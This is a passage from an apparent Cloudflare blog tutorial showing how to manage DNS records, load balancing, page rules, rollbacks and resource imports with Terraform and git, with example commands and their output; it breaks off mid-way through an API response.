            <p>Note that while the name of the resource is different as Terraform resources of the same type must be uniquely named, the DNS name, i.e., what your customers will type in their browser, is the same: "www".</p>
    <div>
      <h4>2. Preview and merge the changes</h4>
      <a href="#2-preview-and-merge-the-changes">
        
      </a>
    </div>
    <p>Below we'll check the <code>terraform plan</code>, merge and apply the changes.</p>
            <pre><code>$ terraform plan | grep -v "&lt;computed&gt;"
...
Terraform will perform the following actions:

  + cloudflare_record.www-asia
      domain:      "example.com"
      name:        "www"
      proxied:     "true"
      type:        "A"
      value:       "198.51.100.15"


Plan: 1 to add, 0 to change, 0 to destroy.</code></pre>
            
            <pre><code>$ git add cloudflare.tf
$ git commit -m "Step 5 - Add additional 'www' DNS record for Asia data center."
[step5-loadbalance 6761a4f] Step 5 - Add additional 'www' DNS record for Asia data center.
 1 file changed, 7 insertions(+)

$ git checkout master
Switched to branch 'master'

$ git merge step5-loadbalance 
Updating e1c38cf..6761a4f
Fast-forward
 cloudflare.tf | 7 +++++++
 1 file changed, 7 insertions(+)</code></pre>
            
    <div>
      <h4>3. Apply and verify the changes</h4>
      <a href="#3-apply-and-verify-the-changes">
        
      </a>
    </div>
    <p>Let's add the second DNS record for <a href="http://www.example.com">www.example.com</a>:</p>
            <pre><code>$ terraform apply --auto-approve
...
cloudflare_record.www-asia: Creating...
  created_on:  "" =&gt; "&lt;computed&gt;"
  domain:      "" =&gt; "example.com"
  hostname:    "" =&gt; "&lt;computed&gt;"
  metadata.%:  "" =&gt; "&lt;computed&gt;"
  modified_on: "" =&gt; "&lt;computed&gt;"
  name:        "" =&gt; "www"
  proxiable:   "" =&gt; "&lt;computed&gt;"
  proxied:     "" =&gt; "true"
  ttl:         "" =&gt; "&lt;computed&gt;"
  type:        "" =&gt; "A"
  value:       "" =&gt; "198.51.100.15"
  zone_id:     "" =&gt; "&lt;computed&gt;"
cloudflare_record.www-asia: Creation complete after 1s (ID: fda39d8c9bf909132e82a36bab992864)

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.</code></pre>
            <p>With the second DNS record in place, let's try making some requests to see where the traffic is served from:</p>
            <pre><code>$ curl https://www.example.com
Hello, this is 203.0.113.10!

$ curl https://www.example.com
Hello, this is 203.0.113.10!

$ curl https://www.example.com
Hello, this is 198.51.100.15!

$ curl https://www.example.com
Hello, this is 203.0.113.10!</code></pre>
            <p>As you can see above, there is no discernible pattern for which origin receives the request. When Cloudflare connects to an origin with multiple DNS records, one of the IP addresses is selected at random. If both of these IPs are in the same data center and sessions can be shared (i.e., it doesn't matter if the same user hops between origin servers), this may work fine. However, for anything more complicated such as origins in different geographies or active health checks, you're going to want to use Cloudflare's Load Balancing product.</p>
    <div>
      <h4>4. Switch to using Cloudflare Load Balancing</h4>
      <a href="#4-switch-to-using-cloudflare-load-balancing">
        
      </a>
    </div>
    <p>Before proceeding, make sure that your account is enabled for Load Balancing. If you're on an Enterprise plan, you should ask your Customer Success Manager to do this; otherwise, you can subscribe to Load Balancing within the Cloudflare Dashboard.</p><p>As described in the <a href="https://support.cloudflare.com/hc/en-us/articles/115000081911-Tutorial-How-to-Set-Up-Load-Balancing-Intelligent-Failover-on-Cloudflare">load balancing tutorial</a> on the Cloudflare Support site, you will need to do three things:</p><blockquote><p>i. Create a monitor to run health checks against your origin servers.
ii. Create a pool of one or more origin servers that will receive load balanced traffic.
iii. Create a load balancer with an external hostname, e.g., www.example.com, and one or more pools.
iv. Preview and merge the changes.
v. Test the changes.</p></blockquote>
    <div>
      <h5>i. Define and create the health check ("monitor")</h5>
      <a href="#i-define-and-create-the-health-check-monitor">
        
      </a>
    </div>
    <p>To monitor our origins we're going to create a basic health check that makes a GET request to each origin on the URL <a href="https://www.example.com">https://www.example.com</a>. If the origin returns the 200/OK status code within 5 seconds, we'll consider it healthy. If it fails to do so three (3) times in a row, we'll consider it unhealthy. This health check will be run once per minute from several regions, and send an email notification to <a>you@example.com</a> if any failures are detected.</p>
            <pre><code>$ git checkout step5-loadbalance
Switched to branch 'step5-loadbalance'

$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_load_balancer_monitor" "get-root-https" {
  expected_body = "alive"
  expected_codes = "200"
  method = "GET"
  timeout = 5
  path = "/"
  interval = 60
  retries = 2
  check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"]
  description = "GET / over HTTPS - expect 200"
}
EOF</code></pre>
            
    <div>
      <h5>ii. Define and create the pool of origins</h5>
      <a href="#ii-define-and-create-the-pool-of-origins">
        
      </a>
    </div>
    <p>We will call our pool "www-servers” and add two origins to it: <code>www-us</code> (<code>203.0.113.10</code>) and www-asia (<code>198.51.100.15</code>). For now, we'll skip any sort of <a href="https://support.cloudflare.com/hc/en-us/articles/115000540888-Load-Balancing-Geographic-Regions">geo routing</a>.</p><p>Note that we reference the monitor we added in the last step. When applying this confirmation, Terraform will figure out that it first needs to create the monitor so that it can look up the ID and provide to the pool we wish to create.</p>
            <pre><code>$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_load_balancer_pool" "www-servers" {
  name = "www-servers"
  monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}"
  origins {
    name = "www-us"
    address = "203.0.113.10"
  }
  origins {
    name = "www-asia"
    address = "198.51.100.15"
  }
  description = "www origins"
  enabled = true
  minimum_origins = 1
  notification_email = "you@example.com"
}
EOF</code></pre>
            
    <div>
      <h5>iii. Define and create the load balancer</h5>
      <a href="#iii-define-and-create-the-load-balancer">
        
      </a>
    </div>
    <p>Note that when you create a load balancer (LB), it will <a href="https://support.cloudflare.com/hc/en-us/articles/115004954407-How-Does-a-Load-Balancer-Interact-with-Existing-DNS-Records-">replace any existing DNS records with the same name</a>. For example, when we create the "<a href="http://www.example.com">www.example.com</a>" LB below, it will supersede the two www DNS records that you have previously defined. One benefit of leaving these DNS records in place is that if you temporarily disable load balancing, connections to this hostname will still be possible as shown above.</p>
            <pre><code>$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_load_balancer" "www-lb" {
  zone = "example.com"
  name = "www-lb"
  default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"]
  fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}"
  description = "example load balancer"
  proxied = true
}
EOF</code></pre>
            
    <div>
      <h5>iv. Preview and merge the changes</h5>
      <a href="#iv-preview-and-merge-the-changes">
        
      </a>
    </div>
    <p>As usual, we take a look at the proposed plan before we apply any changes:</p>
            <pre><code>$ terraform plan
...
Terraform will perform the following actions:

  + cloudflare_load_balancer.www-lb
      id:                         &lt;computed&gt;
      created_on:                 &lt;computed&gt;
      default_pool_ids.#:         &lt;computed&gt;
      description:                "example load balancer"
      fallback_pool_id:           "${cloudflare_load_balancer_pool.www-servers.id}"
      modified_on:                &lt;computed&gt;
      name:                       "www-lb"
      pop_pools.#:                &lt;computed&gt;
      proxied:                    "true"
      region_pools.#:             &lt;computed&gt;
      ttl:                        &lt;computed&gt;
      zone:                       "example.com"
      zone_id:                    &lt;computed&gt;

  + cloudflare_load_balancer_monitor.get-root-https
      id:                         &lt;computed&gt;
      created_on:                 &lt;computed&gt;
      description:                "GET / over HTTPS - expect 200"
      expected_body:              "alive"
      expected_codes:             "200"
      interval:                   "60"
      method:                     "GET"
      modified_on:                &lt;computed&gt;
      path:                       "/"
      retries:                    "2"
      timeout:                    "5"
      type:                       "http"

  + cloudflare_load_balancer_pool.www-servers
      id:                         &lt;computed&gt;
      check_regions.#:            "6"
      check_regions.1151265357:   "SEAS"
      check_regions.1997072153:   "WEU"
      check_regions.2367191053:   "EEU"
      check_regions.2826842289:   "ENAM"
      check_regions.2992567379:   "WNAM"
      check_regions.3706632574:   "NEAS"
      created_on:                 &lt;computed&gt;
      description:                "www origins"
      enabled:                    "true"
      minimum_origins:            "1"
      modified_on:                &lt;computed&gt;
      monitor:                    "${cloudflare_load_balancer_monitor.get-root-https.id}"
      name:                       "www-servers"
      notification_email:         "you@example.com"
      origins.#:                  "2"
      origins.3039426352.address: "198.51.100.15"
      origins.3039426352.enabled: "true"
      origins.3039426352.name:    "www-asia"
      origins.4241861547.address: "203.0.113.10"
      origins.4241861547.enabled: "true"
      origins.4241861547.name:    "www-us"


Plan: 3 to add, 0 to change, 0 to destroy.</code></pre>
            <p>The plan looks good so let's go ahead, merge it in, and apply it.</p>
            <pre><code>$ git add cloudflare.tf
$ git commit -m "Step 5 - Create load balancer (LB) monitor, LB pool, and LB."
[step5-loadbalance bc9aa9a] Step 5 - Create load balancer (LB) monitor, LB pool, and LB.
 1 file changed, 35 insertions(+)

$ terraform apply --auto-approve
...
cloudflare_load_balancer_monitor.get-root-https: Creating...
  created_on:     "" =&gt; "&lt;computed&gt;"
  description:    "" =&gt; "GET / over HTTPS - expect 200"
  expected_body:  "" =&gt; "alive"
  expected_codes: "" =&gt; "200"
  interval:       "" =&gt; "60"
  method:         "" =&gt; "GET"
  modified_on:    "" =&gt; "&lt;computed&gt;"
  path:           "" =&gt; "/"
  retries:        "" =&gt; "2"
  timeout:        "" =&gt; "5"
  type:           "" =&gt; "http"
cloudflare_load_balancer_monitor.get-root-https: Creation complete after 1s (ID: 4238142473fcd48e89ef1964be72e3e0)
cloudflare_load_balancer_pool.www-servers: Creating...
  check_regions.#:            "" =&gt; "6"
  check_regions.1151265357:   "" =&gt; "SEAS"
  check_regions.1997072153:   "" =&gt; "WEU"
  check_regions.2367191053:   "" =&gt; "EEU"
  check_regions.2826842289:   "" =&gt; "ENAM"
  check_regions.2992567379:   "" =&gt; "WNAM"
  check_regions.3706632574:   "" =&gt; "NEAS"
  created_on:                 "" =&gt; "&lt;computed&gt;"
  description:                "" =&gt; "www origins"
  enabled:                    "" =&gt; "true"
  minimum_origins:            "" =&gt; "1"
  modified_on:                "" =&gt; "&lt;computed&gt;"
  monitor:                    "" =&gt; "4238142473fcd48e89ef1964be72e3e0"
  name:                       "" =&gt; "www-servers"
  notification_email:         "" =&gt; "you@example.com"
  origins.#:                  "" =&gt; "2"
  origins.3039426352.address: "" =&gt; "198.51.100.15"
  origins.3039426352.enabled: "" =&gt; "true"
  origins.3039426352.name:    "" =&gt; "www-asia"
  origins.4241861547.address: "" =&gt; "203.0.113.10"
  origins.4241861547.enabled: "" =&gt; "true"
  origins.4241861547.name:    "" =&gt; "www-us"
cloudflare_load_balancer_pool.www-servers: Creation complete after 0s (ID: 906d2a7521634783f4a96c062eeecc6d)
cloudflare_load_balancer.www-lb: Creating...
  created_on:         "" =&gt; "&lt;computed&gt;"
  default_pool_ids.#: "" =&gt; "1"
  default_pool_ids.0: "" =&gt; "906d2a7521634783f4a96c062eeecc6d"
  description:        "" =&gt; "example load balancer"
  fallback_pool_id:   "" =&gt; "906d2a7521634783f4a96c062eeecc6d"
  modified_on:        "" =&gt; "&lt;computed&gt;"
  name:               "" =&gt; "www-lb"
  pop_pools.#:        "" =&gt; "&lt;computed&gt;"
  proxied:            "" =&gt; "true"
  region_pools.#:     "" =&gt; "&lt;computed&gt;"
  ttl:                "" =&gt; "&lt;computed&gt;"
  zone:               "" =&gt; "example.com"
  zone_id:            "" =&gt; "&lt;computed&gt;"
cloudflare_load_balancer.www-lb: Creation complete after 1s (ID: cb94f53f150e5c1a65a07e43c5d4cac4)

Apply complete! Resources: 3 added, 0 changed, 0 destroyed.</code></pre>
            
    <div>
      <h5>iv. Test the changes</h5>
      <a href="#iv-test-the-changes">
        
      </a>
    </div>
    <p>With load balancing in place, let's run those curl requests again to see where the traffic is served from:</p>
            <pre><code>$ for i in {1..4}; do curl https://www.example.com &amp;&amp; sleep 5; done
Hello, this is 198.51.100.15!

Hello, this is 203.0.113.10!

Hello, this is 198.51.100.15!

Hello, this is 203.0.113.10!</code></pre>
            <p>Great, we're now seeing each request load balanced evenly across the two origins we defined.</p>
    <div>
      <h3>Using page rules</h3>
      <a href="#using-page-rules">
        
      </a>
    </div>
    <p>Earlier we configured zone settings that apply to all of example.com. Now we're going to add an exception to these settings by using <a href="https://www.cloudflare.com/features-page-rules/">Page Rules</a>.</p><p>Specifically, we're going to turn increase the security level for a URL we know is expensive to render (and cannot be cached): <a href="https://www.example.com/expensive-db-call">https://www.example.com/expensive-db-call</a>. Additionally, we're going to add a redirect from the previous URL we used to host this page.</p>
    <div>
      <h4>1. Create a new branch and append the page rule</h4>
      <a href="#1-create-a-new-branch-and-append-the-page-rule">
        
      </a>
    </div>
    <p>As usual, we'll create a new branch and append our configuration.</p>
            <pre><code>$ git checkout -b step6-pagerule
Switched to a new branch 'step6-pagerule'

$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_page_rule" "increase-security-on-expensive-page" {
  zone = "${var.domain}"
  target = "www.${var.domain}/expensive-db-call"
  priority = 10

  actions = {
    security_level = "under_attack",
  }
}

resource "cloudflare_page_rule" "redirect-to-new-db-page" {
  zone = "${var.domain}"
  target = "www.${var.domain}/old-location.php"
  priority = 10

  actions = {
    forwarding_url {
      url = "https://www.${var.domain}/expensive-db-call"
      status_code = 301
    }
  }
}
EOF</code></pre>
            
    <div>
      <h4>2. Preview and merge the changes</h4>
      <a href="#2-preview-and-merge-the-changes">
        
      </a>
    </div>
    <p>You know the drill: preview the changes Terraform is going to make and then merge them into the master branch.</p>
            <pre><code>$ terraform plan
...
Terraform will perform the following actions:

  + cloudflare_page_rule.increase-security-on-expensive-page
      id:                                     &lt;computed&gt;
      actions.#:                              "1"
      actions.0.always_use_https:             "false"
      actions.0.disable_apps:                 "false"
      actions.0.disable_performance:          "false"
      actions.0.disable_security:             "false"
      actions.0.security_level:               "under_attack"
      priority:                               "10"
      status:                                 "active"
      target:                                 "www.example.com/expensive-db-call"
      zone:                                   "example.com"
      zone_id:                                &lt;computed&gt;

  + cloudflare_page_rule.redirect-to-new-db-page
      id:                                     &lt;computed&gt;
      actions.#:                              "1"
      actions.0.always_use_https:             "false"
      actions.0.disable_apps:                 "false"
      actions.0.disable_performance:          "false"
      actions.0.disable_security:             "false"
      actions.0.forwarding_url.#:             "1"
      actions.0.forwarding_url.0.status_code: "301"
      actions.0.forwarding_url.0.url:         "https://www.example.com/expensive-db-call"
      priority:                               "10"
      status:                                 "active"
      target:                                 "www.example.com/old-location.php"
      zone:                                   "example.com"
      zone_id:                                &lt;computed&gt;


Plan: 2 to add, 0 to change, 0 to destroy.</code></pre>
            
            <pre><code>$ git add cloudflare.tf

$ git commit -m "Step 6 - Add two Page Rules."
[step6-pagerule d4fec16] Step 6 - Add two Page Rules.
 1 file changed, 23 insertions(+)

$ git checkout master
Switched to branch 'master'

$ git merge step6-pagerule 
Updating 7a2ac34..d4fec16
Fast-forward
 cloudflare.tf | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
3. Apply And Verify The Changes
First we'll test requesting the (now missing) old location of the expensive-to-render page.</code></pre>
            
            <pre><code>$ curl -vso /dev/null https://www.example.com/old-location.php 2&gt;&amp;1 | grep "&lt; HTTP\|Location"
&lt; HTTP/1.1 404 Not Found</code></pre>
            <p>As expected, it can't be found. Let's apply the Page Rules, including the redirect that should fix this error.</p>
            <pre><code>$ terraform apply --auto-approve
...
cloudflare_page_rule.redirect-to-new-db-page: Creating...
  actions.#:                              "0" =&gt; "1"
  actions.0.always_use_https:             "" =&gt; "false"
  actions.0.disable_apps:                 "" =&gt; "false"
  actions.0.disable_performance:          "" =&gt; "false"
  actions.0.disable_security:             "" =&gt; "false"
  actions.0.forwarding_url.#:             "0" =&gt; "1"
  actions.0.forwarding_url.0.status_code: "" =&gt; "301"
  actions.0.forwarding_url.0.url:         "" =&gt; "https://www.example.com/expensive-db-call"
  priority:                               "" =&gt; "10"
  status:                                 "" =&gt; "active"
  target:                                 "" =&gt; "www.example.com/old-location.php"
  zone:                                   "" =&gt; "example.com"
  zone_id:                                "" =&gt; "&lt;computed&gt;"
cloudflare_page_rule.increase-security-on-expensive-page: Creating...
  actions.#:                     "0" =&gt; "1"
  actions.0.always_use_https:    "" =&gt; "false"
  actions.0.disable_apps:        "" =&gt; "false"
  actions.0.disable_performance: "" =&gt; "false"
  actions.0.disable_security:    "" =&gt; "false"
  actions.0.security_level:      "" =&gt; "under_attack"
  priority:                      "" =&gt; "10"
  status:                        "" =&gt; "active"
  target:                        "" =&gt; "www.example.com/expensive-db-call"
  zone:                          "" =&gt; "example.com"
  zone_id:                       "" =&gt; "&lt;computed&gt;"
cloudflare_page_rule.redirect-to-new-db-page: Creation complete after 3s (ID: c5c40ff2dc12416b5fe4d0541980c591)
cloudflare_page_rule.increase-security-on-expensive-page: Creation complete after 6s (ID: 1c13fdb84710c4cc8b11daf7ffcca449)

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.</code></pre>
            <p>With the Page Rules in place, let's try that call again, along with the <a href="/introducing-im-under-attack-mode/">I'm Under Attack Mode</a> test:</p>
            <pre><code>$ curl -vso /dev/null https://www.example.com/old-location.php 2&gt;&amp;1 | grep "&lt; HTTP\|Location"
&lt; HTTP/1.1 301 Moved Permanently
&lt; Location: https://www.upinatoms.com/expensive-db-call

$ curl -vso /dev/null https://www.upinatoms.com/expensive-db-call 2&gt;&amp;1 | grep "&lt; HTTP"
&lt; HTTP/1.1 503 Service Temporarily Unavailable</code></pre>
            <p>Great, they work as expected! In the first case, the Cloudflare edge responds with a <code>301</code> redirecting the browser to the new location. In the second case it initially responds with a <code>503</code> (as it is consistent with the "I Am Under Attack” mode).</p>
    <div>
      <h3>Reviewing and rolling back changes</h3>
      <a href="#reviewing-and-rolling-back-changes">
        
      </a>
    </div>
    <p>We've come a long way! Now it's time to tear it all down. Well, maybe just part of it.</p><p>Sometimes when you deploy configuration changes you later determine that they need to be rolled back. You could be performance testing a new configuration and want to revert to your previous configuration when done testing. Or maybe you fat-fingered an IP address and brought your entire site down (#hugops).</p><p>Either way, if you've determined you want to revert your configuration, all you need to do is check the desired branch out and ask Terraform to move your Cloudflare settings back in time. And note that if you accidentally brought your site down you should consider establishing a good strategy for peer reviewing pull requests (rather than merging directly to primary, as I do here for brevity)!</p>
    <div>
      <h4>1. Reviewing your configuration history</h4>
      <a href="#1-reviewing-your-configuration-history">
        
      </a>
    </div>
    <p>Before we figure out how far back in time we want to roll back, let's take a look at our (git) versioned history.</p>
            <pre><code>$ git log
commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.

commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a
Author: Me
Date:   Sun Apr 15 23:58:35 2018 -0700

    Step 5 - Create load balancer (LB) monitor, LB pool, and LB.

commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6
Author: Me
Date:   Wed Apr 11 11:20:25 2018 -0700

    Step 5 - Add additional 'www' DNS record for Asia data center.

commit e1c38cf6f4230a48114ce7b747b77d6435d4646c
Author: Me
Date:   Mon Apr 9 12:34:44 2018 -0700

    Step 4 - Update /login rate limit rule from 'simulate' to 'ban'.

commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24
Author: Me
Date:   Mon Apr 9 12:22:43 2018 -0700

    Step 4 - Add rate limiting rule to protect /login.

commit d540600b942cbd89d03db52211698d331f7bd6d7
Author: Me
Date:   Sun Apr 8 22:21:27 2018 -0700

    Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode.

commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7
Author: Me
Date:   Sun Apr 8 19:58:56 2018 -0700

    Step 2 - Ignore terraform plugin directory and state file.

commit 5acea176050463418f6ac1029674c152e3056bc6
Author: Me
Date:   Sun Apr 8 19:52:13 2018 -0700

    Step 2 - Initial commit with webserver definition.

Another nice benefit of storing your Cloudflare configuration in git is that you can see who made the change, as well as who reviewed and approved the change (assuming you're peer reviewing pull requests).</code></pre>
            
    <div>
      <h4>2. Examining specific historical changes</h4>
      <a href="#2-examining-specific-historical-changes">
        
      </a>
    </div>
    <p>To begin with, let's see what the last change we made was.</p>
            <pre><code>$ git show
commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.

diff --git a/cloudflare.tf b/cloudflare.tf
index 0b39450..ef11d8a 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -94,3 +94,26 @@ resource "cloudflare_load_balancer" "www-lb" {
   description = "example load balancer"
   proxied = true
 }
+
+resource "cloudflare_page_rule" "increase-security-on-expensive-page" {
+  zone = "${var.domain}"
+  target = "www.${var.domain}/expensive-db-call"
+  priority = 10
+
+  actions = {
+    security_level = "under_attack",
+  }
+}
+
+resource "cloudflare_page_rule" "redirect-to-new-db-page" {
+  zone = "${var.domain}"
+  target = "www.${var.domain}/old-location.php"
+  priority = 10
+
+  actions = {
+    forwarding_url {
+      url = "https://${var.domain}/expensive-db-call"
+      status_code = 301
+    }
+  }
+}</code></pre>
            <p>Now let's look at the past few changes:</p>
            <pre><code>$ git log -p -3

... 
// page rule config from above
...

commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a
Author: Me
Date:   Sun Apr 15 23:58:35 2018 -0700

    Step 5 - Create load balancer (LB) monitor, LB pool, and LB.

diff --git a/cloudflare.tf b/cloudflare.tf
index b92cb6f..195b646 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -59,3 +59,38 @@ resource "cloudflare_record" "www-asia" {
   type    = "A"
   proxied = true
 }
+resource "cloudflare_load_balancer_monitor" "get-root-https" {
+  expected_body = "alive"
+  expected_codes = "200"
+  method = "GET"
+  timeout = 5
+  path = "/"
+  interval = 60
+  retries = 2
+  description = "GET / over HTTPS - expect 200"
+}
+resource "cloudflare_load_balancer_pool" "www-servers" {
+  name = "www-servers"
+  monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}"
+  check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"]
+  origins {
+    name = "www-us"
+    address = "203.0.113.10"
+  }
+  origins {
+    name = "www-asia"
+    address = "198.51.100.15"
+  }
+  description = "www origins"
+  enabled = true
+  minimum_origins = 1
+  notification_email = "you@example.com"
+}
+resource "cloudflare_load_balancer" "www-lb" {
+  zone = "${var.domain}"
+  name = "www-lb"
+  default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"]
+  fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}"
+  description = "example load balancer"
+  proxied = true
+}

commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6
Author: Me
Date:   Wed Apr 11 11:20:25 2018 -0700

    Step 5 - Add additional 'www' DNS record for Asia data center.

diff --git a/cloudflare.tf b/cloudflare.tf
index 9f25a0c..b92cb6f 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -52,3 +52,10 @@ resource "cloudflare_rate_limit" "login-limit" {
   disabled = false
   description = "Block failed login attempts (5 in 1 min) for 5 minutes."
 }
+resource "cloudflare_record" "www-asia" {
+  domain  = "${var.domain}"
+  name    = "www"
+  value   = "198.51.100.15"
+  type    = "A"
+  proxied = true
+}</code></pre>
            
    <div>
      <h4>3. Redeploying the previous configuration</h4>
      <a href="#3-redeploying-the-previous-configuration">
        
      </a>
    </div>
    <p>Imagine that shortly after we <a href="#usingpagerules">deployed the Page Rules</a>, we got a call from the Product team that manages this page: "The URL was only being used by one customer and is no longer needed, let's drop the security setting and redirect.”</p><p>While you could always edit the config file directly and delete those entries, it's easier to let git do it for us. To begin with, let's ask git to revert the last commit (without rewriting history).</p>
    <div>
      <h5>i. Revert the branch to the previous commit</h5>
      <a href="#i-revert-the-branch-to-the-previous-commit">
        
      </a>
    </div>
    
            <pre><code>$ git revert HEAD~1..HEAD
[master f9a6f7d] Revert "Step 6 - Bug fix."
 1 file changed, 1 insertion(+), 1 deletion(-)

$ git log -2
commit f9a6f7db72ea1437e146050a5e7556052ecc9a1a
Author: Me
Date:   Wed Apr 18 23:28:09 2018 -0700

    Revert "Step 6 - Add two Page Rules."
    
    This reverts commit d4fec164581bec44684a4d59bb80aec1f1da5a6e.

commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.</code></pre>
            
    <div>
      <h5>ii. Preview the changes</h5>
      <a href="#ii-preview-the-changes">
        
      </a>
    </div>
    <p>As expected, Terraform is indicating it will remove the two Page Rules we just created.</p>
            <pre><code>$ terraform plan
...
An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  - destroy

Terraform will perform the following actions:

  - cloudflare_page_rule.increase-security-on-expensive-page

  - cloudflare_page_rule.redirect-to-new-db-page


Plan: 0 to add, 0 to change, 2 to destroy.</code></pre>
            
    <div>
      <h5>iv. Apply the changes</h5>
      <a href="#iv-apply-the-changes">
        
      </a>
    </div>
    <p>The changes look good, so let's ask Terraform to roll our Cloudflare configuration back.</p>
            <pre><code>$ terraform apply --auto-approve
...
cloudflare_page_rule.redirect-to-new-db-page: Destroying... (ID: c5c40ff2dc12416b5fe4d0541980c591)
cloudflare_page_rule.increase-security-on-expensive-page: Destroying... (ID: 1c13fdb84710c4cc8b11daf7ffcca449)
cloudflare_page_rule.increase-security-on-expensive-page: Destruction complete after 0s
cloudflare_page_rule.redirect-to-new-db-page: Destruction complete after 1s

Apply complete! Resources: 0 added, 0 changed, 2 destroyed.</code></pre>
            <p>Two resources destroyed, as expected. We've rolled back to the previous version.</p>
    <div>
      <h3>Importing existing state and configuration</h3>
      <a href="#importing-existing-state-and-configuration">
        
      </a>
    </div>
    <p>An important point to understand about Terraform is that it is only able to manage configuration that it created, or was explicitly told about after the fact. The reason for this limitation is that Terraform relies on a local <a href="https://www.terraform.io/docs/state/">state file</a> that maps the resource names defined in your configuration file, e.g., <code>cloudflare_load_balancer.www-lb</code> to the IDs generated by Cloudflare's API.</p><p>When Terraform makes calls to Cloudflare's API to create new resources, it persists those IDs to a state file; by default, the <code>terraform.tfstate</code> file in your directory is used, but this can be a remote location as will be discussed in a future blog post. These IDs are later looked up and refreshed when you call <code>terraform plan</code> and <code>terraform apply</code>.</p><p>If you've configured Cloudflare through other means, e.g., by logging into the Cloudflare Dashboard or making <code>curl</code> calls to <code>api.cloudflare.com</code>, Terraform does not (yet) have these resource IDs in the state file. To manage this preexisting configuration you will need to first i) reproduce the configuration in your config file and; ii) import resources one-by-one by providing their IDs and resource names.</p>
    <div>
      <h4>1. Reviewing your current state file</h4>
      <a href="#1-reviewing-your-current-state-file">
        
      </a>
    </div>
    <p>Before importing resources created by other means, let's take a look at how an existing DNS records is represented in the state file.</p>
            <pre><code>$ cat terraform.tfstate | jq '.modules[].resources["cloudflare_record.www"]'
{
  "type": "cloudflare_record",
  "depends_on": [],
  "primary": {
    "id": "c38d3103767284e7cd14d5dad3ab8669",
    "attributes": {
      "created_on": "2018-04-08T00:37:33.76321Z",
      "data.%": "0",
      "domain": "example.com",
      "hostname": "www.example.com",
      "id": "c38d3103767284e7cd14d5dad3ab8669",
      "metadata.%": "2",
      "metadata.auto_added": "false",
      "metadata.managed_by_apps": "false",
      "modified_on": "2018-04-08T00:37:33.76321Z",
      "name": "www",
      "priority": "0",
      "proxiable": "true",
      "proxied": "true",
      "ttl": "1",
      "type": "A",
      "value": "203.0.113.10",
      "zone_id": "e2e6491340be87a3726f91fc4148b126"
    },
    "meta": {
      "schema_version": "1"
    },
    "tainted": false
  },
  "deposed": [],
  "provider": "provider.cloudflare"
}</code></pre>
            <p>As shown in the above JSON, the <code>cloudflare_record</code> resource named "www" has a unique ID of <code>c38d3103767284e7cd14d5dad3ab8669</code>. This ID is what gets interpolated into the API call that Terraform makes to Cloudflare to pull the latest configuration during the plan stage, e.g.,</p>
            <pre><code>GET https://api.cloudflare.com/client/v4/zones/:zone_id/dns_records/c38d3103767284e7cd14d5dad3ab8669</code></pre>
            
    <div>
      <h4>2. Importing existing Cloudflare resources</h4>
      <a href="#2-importing-existing-cloudflare-resources">
        
      </a>
    </div>
    <p>To import an existing record, e.g., another DNS record, you need two things:</p><ol><li><p>The unique identifier that Cloudflare uses to identify the record</p></li><li><p>The resource name to which you wish to map this identifier</p></li></ol>
    <div>
      <h5>i. Download IDs and configuration from api.cloudflare.com</h5>
      <a href="#i-download-ids-and-configuration-from-api-cloudflare-com">
        
      </a>
    </div>
    <p>We start by making an API call to Cloudflare to enumerate the DNS records in our account. The output below has been filtered to show only MX records, as these are what we'll be importing.</p>
            <pre><code>$ curl https://api.cloudflare.com/client/v4/zones/$EXAMPLE_COM_ZONEID \
       -H "X-Auth-Email: you@example.com" -H "X-Auth-Key: $CF_API_KEY" \
       -H "Content-Type: application/json" | jq .

{
  "result": [
    {
      "id": "8ea8c36c8530ee01068c65c0ddc4379b",
      "type": "MX",
      "name": "example.com",
      "content": "alt1.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 15,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:11:50.163221Z",
      "created_on": "2016-11-06T01:11:50.163221Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "ad0e9ff2479b13c5fbde77a02ea6fa2c",
      "type": "MX",
      "name": "example.com",
      "content": "alt2.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 15,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:00.915649Z",
      "created_on": "2016-11-06T01:12:00.915649Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
